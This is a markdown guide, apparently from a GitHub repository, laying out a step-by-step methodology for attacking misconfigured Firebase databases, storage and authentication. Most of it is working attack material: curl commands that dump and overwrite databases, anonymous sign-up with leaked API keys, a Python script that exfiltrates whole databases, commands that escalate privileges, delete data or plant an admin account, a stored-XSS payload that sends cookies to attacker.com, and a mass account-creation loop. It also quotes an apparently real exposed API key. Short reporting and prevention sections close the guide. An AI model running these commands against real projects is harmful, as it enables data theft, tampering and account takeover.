Skip to content

Latest commit

 

History

History
615 lines (451 loc) · 19.1 KB

File metadata and controls

615 lines (451 loc) · 19.1 KB

Complete Methodology for Firebase Exploitation

Understanding the Core Vulnerability

Firebase exploitation fundamentally relies on one thing: misconfigured security rules. When developers set up Firebase, they often start with "test mode" which allows full public access. The problem is that many forget to lock it down before going to production .

The dangerous configuration looks like this:

{
  "rules": {
    ".read": true,
    ".write": true
  }
}

This means anyone on the internet can read, write, and exfiltrate your entire database without any authentication . No username, no password, no API key needed.


Phase 1: Discovery and Reconnaissance

Finding Firebase Project IDs

Every Firebase instance has a unique identifier (Project ID). You need to find it first.

Method 1: Extract from Mobile Apps (APK)

Mobile apps must include Firebase configuration to work. You can extract it easily:

# Step 1: Decompile the APK
apktool d target-app.apk
cd target-app/

# Step 2: Search for Firebase configuration files
find . -name "google-services.json"
find . -name "*.xml" | xargs grep -l "firebase"

# Step 3: Extract the Project ID
cat google-services.json | grep "project_id"

Real-world example: A security researcher decompiled an Android APK, opened strings.xml, and found hardcoded Firebase API keys and open storage bucket URLs staring back at him. This turned a simple information disclosure into a critical account takeover vulnerability .

Method 2: Extract from Web Applications

Web apps expose Firebase config in JavaScript files:

# Search JavaScript files for Firebase patterns
grep -r "firebaseio.com" *.js
grep -r "apiKey.*AIza" *.js

# Look for the full config object
grep -B5 -A10 "firebase.initializeApp" *.js

Method 3: Use Automated Tools

FireSploit - A dedicated Firebase misconfiguration scanner:

# Installation
git clone https://github.com/secshubhamsharma/FireSploit.git
cd FireSploit
pip install -r requirements.txt

# Scan a single Firebase instance
python3 firesploit.py --url https://yourproject.firebaseio.com

# Scan multiple targets from a file
python3 firesploit.py --file firebase_targets.txt

# Save results to a file
python3 firesploit.py --file firebase_targets.txt --output report.txt

What FireSploit does :

  • Checks for .read misconfiguration (public access)
  • Checks for .write misconfiguration (unauthorized data injection)
  • Reads and prints live data if accessible
  • Injects harmless payloads to simulate attack

OpenFirebase - More comprehensive scanner:

# Installation
git clone https://github.com/Icex0/OpenFirebase.git
cd OpenFirebase
pip install -r requirements.txt

# Scan an APK file directly (extracts config automatically)
python3 openfirebase.py --apk app.apk --read-rtdb

# Scan specific project ID
python3 openfirebase.py --project-id PROJECT_ID --read-all

OpenFirebase can test all Firebase services :

  • Realtime Database
  • Cloud Firestore
  • Storage Buckets
  • Remote Config

Phase 2: Testing for Open Access

Testing Realtime Database

This is the most common Firebase service and the easiest to test.

The Basic Test:

# Simple GET request to check if database is open
curl https://PROJECT-ID.firebaseio.com/.json

# If you get data back = VULNERABLE
# If you get "Permission Denied" = properly configured

Real Example from Bug Bounty:

A researcher at Latoken.com found Firebase configuration exposed in a JavaScript endpoint:

{
  apiKey: "AIzaSyAU4Vridk1SSi9J9HlAwCfCrgJV0jg4gy8",
  authDomain: "latoken.firebaseapp.com",
  projectId: "latoken",
  storageBucket: "latoken.appspot.com"
}

They used these exposed credentials to access and upload files to the Firebase storage, proving all static files were vulnerable to tampering .

Testing with Shallow Query (for large databases):

# Get only top-level keys without full data
curl "https://PROJECT-ID.firebaseio.com/.json?shallow=true"

# Then enumerate each collection
curl https://PROJECT-ID.firebaseio.com/users.json
curl https://PROJECT-ID.firebaseio.com/messages.json
curl https://PROJECT-ID.firebaseio.com/admin.json

Testing Write Access:

# Try to insert your own data
curl -X PUT -d '{"test": "security_test"}' \
  https://PROJECT-ID.firebaseio.com/test.json

# If successful, the database is also writable
# Delete the test entry
curl -X DELETE https://PROJECT-ID.firebaseio.com/test.json

Testing Firestore

Firestore uses different endpoints but the same principle:

# Test Firestore REST API
curl "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents"

# Test specific collections (common names from wordlists)
curl "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/users"
curl "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/messages"

Important: If a collection doesn't exist, the API returns an empty array instead of an authentication error. This allows attackers to guess collection names without knowing if the database is protected .

OpenFirebase includes a comprehensive wordlist of common collection names :

users, accounts, profiles, admins, messages, chats, conversations, posts, comments, 
feed, settings, config, secrets, tokens, credentials, passwords, payments, orders, 
transactions, customers, vendors, products, inventory, sessions, logs, audit, 
private, documents, files, images, photos, videos, metadata, analytics, events

Testing Storage Buckets

Firebase Storage uses Google Cloud Storage under the hood:

# List all files in bucket
curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o"

# With pagination (max 1000 results)
curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o?maxResults=1000"

# Download specific file
curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o/FILENAME?alt=media"

# Filter by prefix (folder)
curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o?prefix=users/avatars/"

Testing Remote Config

Remote Config often contains API keys and feature flags:

# Requires API key and App ID from the app
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"appId":"GOOGLE_APP_ID","appInstanceId":"any"}' \
  "https://firebaseremoteconfig.googleapis.com/v1/projects/PROJECT_ID/namespaces/firestore:fetch?key=API_KEY"

If this returns a 200 OK with configuration data, Remote Config is publicly accessible .


Phase 3: Exploitation Techniques

Technique 1: Anonymous Authentication Bypass

This technique comes from a real bug bounty finding. A researcher found exposed Firebase API keys in an Android app's strings.xml and escalated it to full account takeover .

Step-by-step exploitation:

# Step 1: Extract API key from the app
# Found in strings.xml or google-services.json
API_KEY="AIzaSyAU4Vridk1SSi9J9HlAwCfCrgJV0jg4gy8"

# Step 2: Create anonymous account using the exposed key
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"returnSecureToken": true}'

# Response gives you:
# {
#   "idToken": "eyJhbGciOiJSUzI1NiIsImtpZCI6...",
#   "localId": "abc123def456",
#   "refreshToken": "AMf-vBx..."
# }

# Step 3: Use the idToken to access Firebase services
ID_TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6..."

# Access Realtime Database with token
curl "https://PROJECT-ID.firebaseio.com/.json?auth=${ID_TOKEN}"

# Access Firestore with Bearer token
curl -H "Authorization: Bearer ${ID_TOKEN}" \
  "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents"

What this achieves: You bypass authentication entirely. Even if the database rules require auth != null, your anonymous account satisfies this requirement.

Technique 2: Full Database Exfiltration (Python)

#!/usr/bin/env python3
import requests
import json
import sys

class FirebaseExfiltrator:
    def __init__(self, project_id):
        self.base_url = f"https://{project_id}.firebaseio.com"
    
    def test_access(self):
        """Check if database is accessible"""
        response = requests.get(f"{self.base_url}/.json")
        if response.status_code == 200:
            print("[+] Database is PUBLICLY accessible!")
            return True
        else:
            print(f"[-] Access denied: {response.status_code}")
            return False
    
    def get_keys(self):
        """Get top-level keys only"""
        response = requests.get(f"{self.base_url}/.json?shallow=true")
        if response.status_code == 200:
            return response.json().keys()
        return []
    
    def dump_collection(self, collection):
        """Dump entire collection"""
        response = requests.get(f"{self.base_url}/{collection}.json")
        if response.status_code == 200:
            return response.json()
        return None
    
    def dump_all(self):
        """Complete exfiltration"""
        all_data = {}
        
        # Try to get all data at once
        response = requests.get(f"{self.base_url}/.json")
        if response.status_code == 200 and response.text != "null":
            all_data = response.json()
            print(f"[+] Exfiltrated {len(all_data)} top-level collections")
        else:
            # Fallback: enumerate keys first
            print("[*] Performing shallow enumeration...")
            for key in self.get_keys():
                print(f"[*] Dumping: {key}")
                data = self.dump_collection(key)
                if data:
                    all_data[key] = data
        
        # Save to file
        with open("firebase_dump.json", "w") as f:
            json.dump(all_data, f, indent=2)
        print(f"[+] Data saved to firebase_dump.json")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py PROJECT_ID")
        sys.exit(1)
    
    exfil = FirebaseExfiltrator(sys.argv[1])
    if exfil.test_access():
        exfil.dump_all()

Technique 3: Write Access Exploitation (Defacement)

Real-world example: In December 2025, a researcher discovered a Firebase Firestore RCE (CVSS 9.9) where a leaked API key combined with allow read,write: if true rules allowed full database compromise. The researcher defaced portfolio images to prove the impact .

# If database has write access enabled:

# 1. Modify existing data (privilege escalation)
curl -X PATCH -d '{"role": "admin", "privileges": ["ALL"]}' \
  "https://PROJECT-ID.firebaseio.com/users/target_user.json"

# 2. Inject malicious content (stored XSS)
curl -X PUT -d '{
  "title": "Breaking News",
  "content": "<script>fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)</script>"
}' \
  "https://PROJECT-ID.firebaseio.com/posts/malicious.json"

# 3. Delete data (destructive)
curl -X DELETE "https://PROJECT-ID.firebaseio.com/sensitive_backup.json"

# 4. Create new admin user directly
curl -X PUT -d '{
  "email": "attacker@evil.com",
  "password": "pwned123",
  "role": "admin",
  "verified": true
}' \
  "https://PROJECT-ID.firebaseio.com/users/attacker.json"

Technique 4: JWT Token Manipulation

Burp Suite users can decode and analyze Firebase JWT tokens:

# jwt_decoder.py - Decode Firebase JWT tokens
import jwt
import sys

def decode_firebase_token(token):
    # Firebase tokens are JWT - decode without verification to see claims
    decoded = jwt.decode(token, options={"verify_signature": False})
    print("Token Claims:")
    for key, value in decoded.items():
        print(f"  {key}: {value}")
    
    # Check for admin claim
    if decoded.get('admin'):
        print("[!] WARNING: Token has admin privileges!")
    
    # Check expiration
    import time
    exp = decoded.get('exp', 0)
    if exp < time.time():
        print("[!] Token is expired")
    else:
        print(f"[+] Token expires in {int(exp - time.time())} seconds")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 jwt_decoder.py <token>")
        sys.exit(1)
    decode_firebase_token(sys.argv[1])

Phase 4: Using Burp Suite for Firebase Testing

Setting Up Burp Suite

Burp Suite is essential for intercepting and analyzing Firebase traffic .

Step 1: Configure Burp Proxy

  1. Open Burp Suite → Proxy → Options
  2. Add a listener on port 8080
  3. Configure your browser to use localhost:8080 as proxy

Step 2: Intercept Firebase Requests

When you use the target application, Burp will capture all requests including:

  • Firebase authentication requests
  • Database read/write operations
  • Storage uploads/downloads

Step 3: Analyze Captured Requests

Look for requests to:

  • *.firebaseio.com
  • firestore.googleapis.com
  • firebasestorage.googleapis.com
  • identitytoolkit.googleapis.com

Step 4: Replay and Modify Requests

Use Burp Repeater to:

  • Modify database paths to access other users' data
  • Change HTTP methods (GET to PUT/DELETE)
  • Add or remove authentication headers

Example Firebase Request in Burp:

GET /users.json HTTP/1.1
Host: project-id.firebaseio.com
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6...

Send to Repeater and try:

  • Remove the Authorization header entirely
  • Change /users.json to /admin.json
  • Change GET to PUT with new data

Burp Intruder for Enumeration

Use Burp Intruder to brute-force Firebase paths:

  1. Capture a request to /.json?shallow=true
  2. Send to Intruder
  3. Set position on the path: /§collection§.json
  4. Load wordlist of common collection names
  5. Start attack - any 200 response indicates an accessible collection

Phase 5: Advanced Exploitation Scenarios

Scenario 1: From API Key to Remote Code Execution

This real exploit chain was documented in December 2025 :

Step 1: Find exposed API key in JavaScript file Step 2: Discover allow read,write: if true rules on Firestore Step 3: Use write access to inject malicious content Step 4: Combined with CSP wildcard misconfiguration, achieve RCE

Complete exploitation flow:

# 1. Extract API key from client-side code
API_KEY="AIzaSyAU4Vridk1SSi9J9HlAwCfCrgJV0jg4gy8"

# 2. Create authenticated session
RESPONSE=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"returnSecureToken": true}')
ID_TOKEN=$(echo $RESPONSE | jq -r '.idToken')

# 3. Check Firestore rules by attempting write
curl -X POST "https://firestore.googleapis.com/v1/projects/PROJECT_ID/databases/(default)/documents/test_collection" \
  -H "Authorization: Bearer ${ID_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"fields": {"test": {"stringValue": "vulnerable"}}}'

# 4. If successful (200 OK), database is writable
# 5. Inject malicious payload into content displayed by the app

Scenario 2: Mass Account Takeover

From researcher VETTRIVEL U's bug bounty discovery :

Step 1: Extract API key from APK strings.xml Step 2: Create Firebase accounts programmatically using the exposed key Step 3: Access all Firebase services as authenticated user Step 4: Depending on security rules, access other users' data

# Mass account creation script
for email in $(cat email_list.txt); do
  curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=${API_KEY}" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"${email}\",\"password\":\"Hacked123!\",\"returnSecureToken\":true}"
done

Scenario 3: Firebase Phishing Campaigns

Attackers also abuse Firebase for phishing. In May 2025, researchers discovered a spear-phishing campaign using Firebase to host fake brochures. The malicious emails contained a webpage hosted on Firebase hidden behind a math-quiz CAPTCHA. Once solved, victims received malware that installed backdoors .

How this helps defenders: Even if your Firebase is secure, attackers may use Firebase services to host malicious content. Monitor for unauthorized Firebase projects using your brand.


Phase 6: Post-Exploitation and Reporting

What to Document

When you find a vulnerable Firebase instance:

  1. Project ID - The unique identifier
  2. Service type - Realtime DB, Firestore, Storage, or Remote Config
  3. Access level - Read only, write only, or both
  4. Sample data - Redact sensitive info but show proof
  5. Impact assessment - Types of data exposed (PII, credentials, messages)

Sample Report Structure

Title: Firebase Misconfiguration - Unauthenticated Database Access

Severity: Critical

Description:
The Firebase Realtime Database at project-id.firebaseio.com is configured with 
security rules that allow unauthenticated read AND write access.

Steps to Reproduce:
1. curl https://project-id.firebaseio.com/.json
2. Server returns full database contents including:
   - 50,000 user email addresses
   - 50,000 hashed passwords
   - Private messages between users

Impact:
- Complete data breach affecting all users
- Ability to modify or delete any data
- Account takeover possible

Remediation:
Update security rules to require authentication:
{
  "rules": {
    ".read": "auth != null",
    ".write": "auth != null"
  }
}

Using Firebase Emulator for Rule Testing

Before reporting, verify the issue isn't expected behavior. Google provides an emulator to test security rules locally :

# Install Firebase CLI
npm install -g firebase-tools

# Start emulator
firebase emulators:start

# Generate rule coverage report
# For Firestore: http://localhost:8080/emulator/v1/projects/<database_name>:ruleCoverage.html
# For Realtime DB: http://localhost:9000/.inspect/coverage?ns=<database_name>

This helps understand exactly which rule is misconfigured and why.


Automated Tool Comparison

Tool Purpose Key Features
FireSploit Scan and exploit Tests read/write, dumps data, injects payloads
OpenFirebase Full assessment Scans all services, extracts from APK, fuzzes collections
Baserunner Rule testing Tests security rules against data samples
Burp Suite Manual testing Intercept, modify, replay Firebase requests

Installation Commands Summary

# FireSploit
git clone https://github.com/secshubhamsharma/FireSploit.git
cd FireSploit && pip install -r requirements.txt

# OpenFirebase
git clone https://github.com/Icex0/OpenFirebase.git
cd OpenFirebase && pip install -r requirements.txt

# Firebase Tools (for emulator)
npm install -g firebase-tools

Prevention Checklist for Developers

If you're securing a Firebase application:

  1. Never use .read: true or .write: true in production
  2. Always require authentication: .read: "auth != null"
  3. Implement per-user isolation: $uid === auth.uid
  4. Use Firebase Emulator to test rules before deploying
  5. Remove API keys from client-side code (they're meant to be public, but combined with misconfigurations they're dangerous)
  6. Enable Firebase Security Rules version 2 for better features
  7. Regularly audit rules using the Firebase Console

The 30-day test mode expiration is a warning, not a guarantee. Many production databases remain open for years .